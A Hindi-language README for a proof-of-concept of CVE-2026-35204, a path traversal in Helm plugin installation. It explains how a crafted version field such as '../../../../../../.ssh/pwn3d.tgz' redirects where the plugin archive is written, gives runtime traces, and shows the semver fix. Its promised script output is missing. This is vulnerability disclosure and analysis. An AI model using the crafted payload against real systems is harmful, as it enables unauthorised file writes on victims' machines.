
हेल्म प्लगइन इंस्टॉलेशन में पाथ ट्रैवर्सल भेद्यता (CVE-2026-35204) प्रदर्शित करने वाला प्रूफ-ऑफ-कॉन्सेप्ट, क्राफ्टेड प्लगइन मेटाडेटा के माध्यम से मनमानी फ़ाइल लेखन की अनुमति देता है।
यह रिपॉजिटरी CVE-2026-35204 के लिए एक PoC का प्रतिनिधित्व करती है
"Helm, Kubernetes के लिए Charts का एक पैकेज मैनेजर है। 4.0.0 से 4.1.3 तक, एक विशेष रूप से तैयार किया गया Helm प्लगइन, जब इंस्टॉल या अपडेट किया जाता है, तो Helm को प्लगइन की सामग्री को एक मनमाने फाइलसिस्टम स्थान पर लिखने का कारण बनाएगा। इसे रोकने के लिए, सत्यापित करें कि Helm प्लगइन के plugin.yaml में version: फ़ील्ड शामिल नहीं है जिसमें POSIX डॉट-डॉट पथ विभाजक यानी "/../" शामिल हैं। यह भेद्यता 4.1.4 में ठीक की गई है।"
यह PoC प्रदर्शित करता है कि metadata.Version का उपयोग प्लगइन आर्काइव के पथ को बनाने के लिए किया जाता है, जिससे पथ ट्रैवर्सल की अनुमति मिलती है और डाउनलोड किए गए plugin.tgz को इच्छित प्लगइन निर्देशिका के बाहर लिखा जा सकता है। प्लगइन सामग्री को इंस्टॉल करने से पहले अभी भी निर्दिष्ट कैश निर्देशिका में निकाला जाता है, इसलिए यह PoC मनमाने निष्कर्षण या मनमाने होस्ट फ़ाइल ओवरराइट को प्रदर्शित नहीं करता है।
भेद्यता को CWE-22 के रूप में वर्गीकृत किया गया है - एक प्रतिबंधित निर्देशिका के लिए पथनाम की अनुचित सीमा ('पथ ट्रैवर्सल')
Helm प्लगइन इंस्टॉलर में चार कार्यान्वयन (HTTP, local, VCS और OCI) के साथ एक इंटरफ़ेस है। यह PoC HTTP इंस्टॉलर पर केंद्रित है। HTTP/OCI इंस्टॉलर के विपरीत, VCS इंस्टॉलर metadata.Version से tarball पथ का निर्माण बिल्कुल नहीं करता है। यहाँ एक कोड ब्लॉक है, जो tarballPath तैयार करता है:
filename := fmt.Sprintf("%s-%s.tgz", metadata.Name, metadata.Version)
tarballPath := helmpath.DataPath("plugins", filename)
जहाँ metadata.Version वह वेरिएबल है जिसे हम plugin.yaml में नियंत्रित करते हैं। भेद्यता को ट्रिगर करने के लिए, आपको अपने तैयार किए गए प्लगइन को .tgz आर्काइव में पैकेज करना होगा, क्योंकि इसका metadata.Version वही है जिसे plugin.ExtractTgzPluginMetadata द्वारा निकाला जाता है और HTTP/OCI/local इंस्टॉलर के माध्यम से डाउनलोड किया जाता है। इसलिए, पथ ट्रैवर्सल प्राप्त करने के लिए, हम http_installer का उपयोग कर सकते हैं, जो प्लगइन्स को एक वेब सर्वर द्वारा परोसे जाने वाले आर्काइव के रूप में प्राप्त करता है।
नीचे दिए गए उदाहरण में, helm बाइनरी को लॉगिंग संदेशों को सक्षम करने के लिए मैन्युअल रूप से पुनर्निर्मित किया गया था, जहाँ आप दो अलग-अलग डेटा प्रवाह देख सकते हैं। First सही संस्करण नाम के साथ प्लगइन इंस्टॉलेशन है। Second वह प्लगइन इंस्टॉलेशन है जिसके संस्करण नाम में डॉट-डॉट पथ विभाजक हैं:
./helm plugin install http://0.0.0.0:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-2.2.2.tgz
tarballPath -> /home/s0m3body/.local/share/helm/plugins/evil-2.2.2.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-0.0.0.0-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
./helm plugin install http://127.0.0.1:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-../../../../../../.ssh/pwn3d.tgz
tarballPath -> /home/s0m3body/.ssh/pwn3d.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-127.0.0.1-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
रनटाइम ट्रेस प्रदर्शित करते हैं कि पथ ट्रैवर्सल केवल उस स्थान को प्रभावित करता है जहाँ डाउनलोड किया गया प्लगइन आर्काइव रखा जाता है, जो मूल रूप से HELM_PLUGINS env वेरिएबल है। कैश (i.CacheDir) और अंतिम निष्कर्षण (i.Path()) अपरिवर्तित रहते हैं। इसे ध्यान में रखते हुए, हम अस्थायी आर्काइव गंतव्य और उसके नाम में हेरफेर कर सकते हैं जिसके परिणामस्वरूप फ़ाइल लेखन होता है।
आपको कुछ भी चलाने या पोस्ट इंस्टॉल वेबहुक का उपयोग करने की आवश्यकता नहीं है, भेद्यता को ट्रिगर करने के लिए साधारण प्लगइन इंस्टॉलेशन पर्याप्त है।
HTTP इंस्टॉलर के अपने विश्लेषण के दौरान, मैंने देखा कि आर्काइव निष्कर्षण i.CacheDir में होता है, जबकि इंस्टॉलेशन (fs.CopyDir) i.CacheDir से फ़ाइलों को i.Path() में कॉपी करता है। मुझे कोई कोड पथ नहीं मिला जहाँ ट्रैवर्सल-प्रभावित tarballPath आर्काइव सामग्री को प्रभावित करता हो। इसलिए, विश्लेषण किए गए रनटाइम ट्रेसिंग के आधार पर, आर्काइव निष्कर्षण गंतव्य ट्रैवर्सल-नियंत्रित tarballPath से स्वतंत्र है।
सलाह में इंस्टॉलेशन और अपडेट दोनों का उल्लेख है। HTTP/local/VCS इंस्टॉलर के लिए, Update() लागू नहीं है; OCI इंस्टॉलर पिछले प्लगइन को हटाने के बाद Install() को लागू करके अपडेट को लागू करता है।
यहाँ HTTP इंस्टॉलर से Update() विधि है:
func (i *HTTPInstaller) Update() error {
return fmt.Errorf("method Update() not implemented for HttpInstaller")
}
भेद्यता को कम करने के लिए, isValidSemver फ़ंक्शन जोड़ा गया था, जिसे अब metadata.go के अंदर Validate() को लागू करते समय कॉल किया जाता है।
"github.com/Masterminds/semver/v3"
func isValidSemver(v string) bool {
_, err := semver.NewVersion(v)
return err == nil
}
if m.Version != "" && !isValidSemver(m.Version) {
errs = append(errs, fmt.Errorf("invalid plugin version %q: must be valid semver", m.Version))
}
जैसा कि आप देख सकते हैं, यदि संस्करण एक वैध semver नहीं है (और ../../../../ नहीं है), तो हमें evil helm प्लगइन इंस्टॉलेशन की प्रक्रिया में एक त्रुटि प्राप्त होगी।
PoC चलाने के लिए आप scripts/pos.sh स्क्रिप्ट का उपयोग कर सकते हैं:
./scripts/poc.sh
जिसके परिणामस्वरूप कुछ इस तरह होगा:

MIT